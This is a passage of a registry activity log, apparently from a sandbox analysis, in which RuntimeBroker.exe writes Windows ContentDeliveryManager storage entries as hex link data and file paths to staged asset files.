00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000425d24b42000316237653536363165303734376338393934663838656463363437646533346337663234613736316535326438356566363234636235356335373434376633360000b20009000400efbe425d24b4425d24b42e00000000000000000000000000000000000000000000000000fa048100310062003700650035003600360031006500300037003400370063003800390039003400660038003800650064006300360034003700640065003300340063003700660032003400610037003600310065003500320064003800350065006600360032003400630062003500350063003500370034003400370066003300360000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000ce3539561000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c31623765353636316530373437633839393466383865646336343764653334633766323461373631653532643835656636323463623535633537343437663336000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000069706878757666770000000000000000cacae3c0e2200a46be6e6aecc02cf3cf58249729feadf1118d83466a5cf93802cacae3c0e2200a46be6e6aecc02cf3cf58249729feadf1118d83466a5cf93802ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d003800390035003000300039003100310033002d0031003200300032003100380035003000340036002d0031003600380036003600320037003600390030002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000c311d2c4000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8d1edf3c-3b84-4daa- = fea49a01be52dd01	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1f7bde53-c7c8-45d5-	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1f7bde53-c7c8-45d5- = "\\\\?\\Volume{C4D211C3-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\1ba074d1c4124ef25a78eb099261bc62692745e645098a1de39e4e70fd5c26c2"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9cd8dcd7-1276-40a7- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e55bb423-704a-49f0- = "0"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\32b52f14-fd5e-4eaa- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1f7bde53-c7c8-45d5- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\ab3bc567-40af-4ba8-	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\ddce0288-343b-4678- = 0726e9febd52dd01	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e55bb423-704a-49f0- = "\\\\?\\Volume{C4D211C3-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\1b7e5661e0747c8994f88edc647de34c7f24a761e52d85ef624cb55c57447f36"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\d3eb7e2d-912e-4875- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8d1edf3c-3b84-4daa- = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000003ccf2b01be52dd013ccf2b01be52dd013ccf2b01be52dd01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000425d26b42000643330613139383532343261313530393266396236323439373835366231356533323463393162346566373633373839303063373034353334653966623663640000b20009000400efbe425d26b4425d26b42e00000000000000000000000000000000000000000000000000c4b4b800640033003000610031003900380035003200340032006100310035003000390032006600390062003600320034003900370038003500360062003100350065003300320034006300390031006200340065006600370036003300370038003900300030006300370030003400350033003400650039006600620036006300640000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000ce3539561000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c64333061313938353234326131353039326639623632343937383536623135653332346339316234656637363337383930306337303435333465396662366364000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000069706878757666770000000000000000cacae3c0e2200a46be6e6aecc02cf3cf5b249729feadf1118d83466a5cf93802cacae3c0e2200a46be6e6aecc02cf3cf5b249729feadf1118d83466a5cf93802ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d003800390035003000300039003100310033002d0031003200300032003100380035003000340036002d0031003600380036003600320037003600390030002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000c311d2c4000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\947ddc73-d0c0-42a5- = "0"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\ddce0288-343b-4678- = "\\\\?\\Volume{C4D211C3-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\1ba074d1c4124ef25a78eb099261bc62692745e645098a1de39e4e70fd5c26c2"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\ddce0288-343b-4678- = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000fa1872febd52dd01fa1872febd52dd01fa1872febd52dd01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000425d24b42000316261303734643163343132346566323561373865623039393236316263363236393237343565363435303938613164653339653465373066643563323663320000b20009000400efbe425d24b4425d24b42e0000000000000000000000000000000000000000000000000006111001310062006100300037003400640031006300340031003200340065006600320035006100370038006500620030003900390032003600310062006300360032003600390032003700340035006500360034003500300039003800610031006400650033003900650034006500370030006600640035006300320036006300320000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000ce3539561000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c31626130373464316334313234656632356137386562303939323631626336323639323734356536343530393861316465333965346537306664356332366332000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000069706878757666770000000000000000cacae3c0e2200a46be6e6aecc02cf3cf57249729feadf1118d83466a5cf93802cacae3c0e2200a46be6e6aecc02cf3cf57249729feadf1118d83466a5cf93802ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d003800390035003000300039003100310033002d0031003200300032003100380035003000340036002d0031003600380036003600320037003600390030002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000c311d2c4000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e55bb423-704a-49f0-	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6a7822ca-51cb-46f7- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6a7822ca-51cb-46f7- = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000831f6704be52dd0198a47306be52dd0141305e06be52dd0180221f000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000425d26b42000643330613139383532343261313530393266396236323439373835366231356533323463393162346566373633373839303063373034353334653966623663640000b20009000400efbe425d26b4425d26b42e00000000000000000000000000000000000000000000000000c4b4b800640033003000610031003900380035003200340032006100310035003000390032006600390062003600320034003900370038003500360062003100350065003300320034006300390031006200340065006600370036003300370038003900300030006300370030003400350033003400650039006600620036006300640000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000ce3539561000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c64333061313938353234326131353039326639623632343937383536623135653332346339316234656637363337383930306337303435333465396662366364000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000069706878757666770000000000000000cacae3c0e2200a46be6e6aecc02cf3cf5e249729feadf1118d83466a5cf93802cacae3c0e2200a46be6e6aecc02cf3cf5e249729feadf1118d83466a5cf93802ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d003800390035003000300039003100310033002d0031003200300032003100380035003000340036002d0031003600380036003600320037003600390030002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000c311d2c4000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\63461ba9-8cd7-4d76- = "8324"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\32b52f14-fd5e-4eaa- = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000ff707202be52dd01b4687806be52dd0141305e06be52dd0194f71e000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000425d24b42000316237653536363165303734376338393934663838656463363437646533346337663234613736316535326438356566363234636235356335373434376633360000b20009000400efbe425d24b4425d24b42e00000000000000000000000000000000000000000000000000fa048100310062003700650035003600360031006500300037003400370063003800390039003400660038003800650064006300360034003700640065003300340063003700660032003400610037003600310065003500320064003800350065006600360032003400630062003500350063003500370034003400370066003300360000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000ce3539561000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c31623765353636316530373437633839393466383865646336343764653334633766323461373631653532643835656636323463623535633537343437663336000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000069706878757666770000000000000000cacae3c0e2200a46be6e6aecc02cf3cf61249729feadf1118d83466a5cf93802cacae3c0e2200a46be6e6aecc02cf3cf61249729feadf1118d83466a5cf93802ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d003800390035003000300039003100310033002d0031003200300032003100380035003000340036002d0031003600380036003600320037003600390030002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000c311d2c4000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\ddce0288-343b-4678-	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\ddce0288-343b-4678-	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f7a3487e-58cf-406d-	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f7a3487e-58cf-406d- = "\\\\?\\Volume{C4D211C3-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\92b2f64e7ddf7fea1de0abc1dd7ceca8b989e319816d1c2e9fffb1984a92d58d"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\947ddc73-d0c0-42a5-	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\947ddc73-d0c0-42a5- = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000cb2baa01be52dd01cb2baa01be52dd01cb2baa01be52dd01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000425d26b42000623464323230353339333833366234643965646436313261653932363666643238626634633338393235373066353239333139633230363166363065663065640000b20009000400efbe425d26b4425d26b42e0000000000000000000000000000000000000000000000000035583a00620034006400320032003000350033003900330038003300360062003400640039006500640064003600310032006100650039003200360036006600640032003800620066003400630033003800390032003500370030006600350032003900330031003900630032003000360031006600360030006500660030006500640000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000ce3539561000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c62346432323035333933383336623464396564643631326165393236366664323862663463333839323537306635323933313963323036316636306566306564000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000069706878757666770000000000000000cacae3c0e2200a46be6e6aecc02cf3cf5c249729feadf1118d83466a5cf93802cacae3c0e2200a46be6e6aecc02cf3cf5c249729feadf1118d83466a5cf93802ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d003800390035003000300039003100310033002d0031003200300032003100380035003000340036002d0031003600380036003600320037003600390030002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000c311d2c4000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9cd8dcd7-1276-40a7- = "\\\\?\\Volume{C4D211C3-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\b4d2205393836b4d9edd612ae9266fd28bf4c3892570f529319c2061f60ef0ed"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e55bb423-704a-49f0- = f63962ffbd52dd01	RuntimeBroker.exe
